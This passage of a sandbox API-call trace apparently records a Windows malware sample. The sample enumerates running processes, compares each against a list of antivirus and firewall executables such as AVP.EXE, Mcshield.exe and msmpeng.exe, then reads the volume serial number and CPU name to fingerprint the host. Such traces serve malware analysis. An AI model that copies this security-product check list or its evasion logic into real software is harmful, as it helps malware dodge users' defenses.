lstrcmpiW (lpString1="Mcshield.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="avengine.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="cmdagent.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="smc.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="persfw.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="pccpfw.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="cfp.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="msmpeng.exe", lpString2="wininit.exe") returned -1 [0127.547] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.547] GetLastError () returned 0xcb [0127.547] lstrcmpiW (lpString1="AVP.EXE", lpString2="csrss.exe") returned -1 [0127.547] lstrcmpiW (lpString1="ekrn.exe", lpString2="csrss.exe") returned 1 [0127.547] lstrcmpiW (lpString1="avgnt.exe", lpString2="csrss.exe") returned -1 [0127.547] lstrcmpiW (lpString1="ashDisp.exe", lpString2="csrss.exe") returned -1 [0127.547] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="csrss.exe") returned 1 [0127.547] lstrcmpiW (lpString1="Mcshield.exe", lpString2="csrss.exe") returned 1 [0127.547] lstrcmpiW (lpString1="avengine.exe", lpString2="csrss.exe") returned -1 [0127.547] lstrcmpiW (lpString1="cmdagent.exe", lpString2="csrss.exe") returned -1 [0127.547] lstrcmpiW (lpString1="smc.exe", lpString2="csrss.exe") returned 1 [0127.547] lstrcmpiW (lpString1="persfw.exe", lpString2="csrss.exe") returned 1 [0127.547] lstrcmpiW (lpString1="pccpfw.exe", lpString2="csrss.exe") returned 1 [0127.547] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="csrss.exe") returned 1 [0127.547] lstrcmpiW (lpString1="cfp.exe", lpString2="csrss.exe") returned -1 [0127.548] lstrcmpiW (lpString1="msmpeng.exe", lpString2="csrss.exe") returned 1 [0127.548] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0127.548] GetLastError () returned 0xcb [0127.548] lstrcmpiW (lpString1="AVP.EXE", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="ekrn.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="avgnt.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="ashDisp.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="Mcshield.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="avengine.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="cmdagent.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="smc.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="persfw.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="pccpfw.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="cfp.exe", lpString2="winlogon.exe") returned -1 [0127.548] lstrcmpiW (lpString1="msmpeng.exe", lpString2="winlogon.exe") returned -1 [0127.548] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0127.548] GetLastError () returned 0xcb [0127.548] lstrcmpiW (lpString1="AVP.EXE", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="ekrn.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="avgnt.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="ashDisp.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="Mcshield.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="avengine.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="cmdagent.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="smc.exe", lpString2="services.exe") returned 1 [0127.549] lstrcmpiW (lpString1="persfw.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="pccpfw.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="cfp.exe", lpString2="services.exe") returned -1 [0127.549] lstrcmpiW (lpString1="msmpeng.exe", lpString2="services.exe") returned -1 [0127.549] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0127.549] GetLastError () returned 0xcb [0127.549] lstrcmpiW (lpString1="AVP.EXE", lpString2="lsass.exe") returned -1 [0127.549] lstrcmpiW (lpString1="ekrn.exe", lpString2="lsass.exe") returned -1 [0127.549] lstrcmpiW (lpString1="avgnt.exe", lpString2="lsass.exe") returned -1 [0127.549] lstrcmpiW (lpString1="ashDisp.exe", lpString2="lsass.exe") returned -1 [0127.549] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="lsass.exe") returned 1 [0127.549] lstrcmpiW (lpString1="Mcshield.exe", lpString2="lsass.exe") returned 1 [0127.549] lstrcmpiW (lpString1="avengine.exe", lpString2="lsass.exe") returned -1 [0127.549] lstrcmpiW (lpString1="cmdagent.exe", lpString2="lsass.exe") returned -1 [0127.549] lstrcmpiW (lpString1="smc.exe", lpString2="lsass.exe") returned 1 [0127.549] lstrcmpiW (lpString1="persfw.exe", lpString2="lsass.exe") returned 1 [0127.549] lstrcmpiW (lpString1="pccpfw.exe", lpString2="lsass.exe") returned 1 [0127.549] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="lsass.exe") returned -1 [0127.549] lstrcmpiW (lpString1="cfp.exe", lpString2="lsass.exe") returned -1 [0127.549] lstrcmpiW (lpString1="msmpeng.exe", lpString2="lsass.exe") returned 1 [0127.549] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.550] GetLastError () returned 0xcb [0127.550] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0127.550] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.550] GetLastError () returned 0xcb [0127.550] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0127.550] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0127.550] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0127.551] GetLastError () returned 0xcb [0127.551] lstrcmpiW (lpString1="AVP.EXE", lpString2="dwm.exe") returned -1 [0127.551] lstrcmpiW (lpString1="ekrn.exe", lpString2="dwm.exe") returned 1 [0127.551] lstrcmpiW (lpString1="avgnt.exe", lpString2="dwm.exe") returned -1 [0127.551] lstrcmpiW (lpString1="ashDisp.exe", lpString2="dwm.exe") returned -1 [0127.551] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="dwm.exe") returned 1 [0127.551] lstrcmpiW (lpString1="Mcshield.exe", lpString2="dwm.exe") returned 1 [0127.551] lstrcmpiW (lpString1="avengine.exe", lpString2="dwm.exe") returned -1 [0127.551] lstrcmpiW (lpString1="cmdagent.exe", lpString2="dwm.exe") returned -1 [0127.551] lstrcmpiW (lpString1="smc.exe", lpString2="dwm.exe") returned 1 [0127.551] lstrcmpiW (lpString1="persfw.exe", lpString2="dwm.exe") returned 1 [0127.551] lstrcmpiW (lpString1="pccpfw.exe", lpString2="dwm.exe") returned 1 [0127.551] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="dwm.exe") returned 1 [0127.551] lstrcmpiW (lpString1="cfp.exe", lpString2="dwm.exe") returned -1 [0127.551] lstrcmpiW (lpString1="msmpeng.exe", lpString2="dwm.exe") returned 1 [0127.551] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.551] GetLastError () returned 0xcb [0127.551] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0127.551] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0127.551] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0127.551] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0127.552] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.552] GetLastError () returned 0xcb [0127.552] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0127.552] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0127.552] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.553] GetLastError () returned 0xcb [0127.553] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0127.553] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.553] GetLastError () returned 0xcb [0127.553] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0127.553] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0127.553] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.554] GetLastError () returned 0xcb [0127.554] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0127.554] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.554] GetLastError () returned 0xcb [0127.554] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0127.554] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0127.555] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0127.555] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0127.555] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0127.555] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0127.555] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0127.555] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0127.555] GetLastError () returned 0xcb [0127.555] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.555] GetLastError () returned 0xcb [0127.555] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.556] GetLastError () returned 0xcb [0127.556] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0127.556] GetLastError () returned 0xcb [0127.556] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.556] GetLastError () returned 0xcb [0127.556] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0127.557] GetLastError () returned 0xcb [0127.557] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0127.557] GetLastError () returned 0xcb [0127.557] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x614, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0127.558] GetLastError () returned 0xcb [0127.558] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0127.558] GetLastError () returned 0xcb [0127.558] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0127.558] GetLastError () returned 0xcb [0127.558] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0127.559] GetLastError () returned 0xcb [0127.559] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.559] GetLastError () returned 0xcb [0127.559] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0127.559] GetLastError () returned 0xcb [0127.560] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0127.560] GetLastError () returned 0xcb [0127.560] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="tubcvd.exe")) returned 1 [0127.560] GetLastError () returned 0xcb [0127.560] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="tubcvd.exe")) returned 0 [0127.561] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.561] CloseHandle (hObject=0x304) returned 1 [0127.561] GetWindowsDirectoryW (in: lpBuffer=0x2cbce8, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0127.561] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2cbee8, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x2cc2e8, lpMaximumComponentLength=0x2cc2f0, lpFileSystemFlags=0x2cc2ec, lpFileSystemNameBuffer=0x2cc0e8, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2cc2e8*=0xd2ca4def, lpMaximumComponentLength=0x2cc2f0*=0xff, lpFileSystemFlags=0x2cc2ec*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0127.561] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x304) returned 0x0 [0127.561] RegQueryValueExW (in: hKey=0x304, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x2cc2f4, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x2cc2f4*=0x49, lpcbData=0x19fc54*=0x54) returned 0x0 [0127.561] RegCloseKey (hKey=0x304) returned 0x0 [0127.561] lstrlenW (lpString="Intel(R) 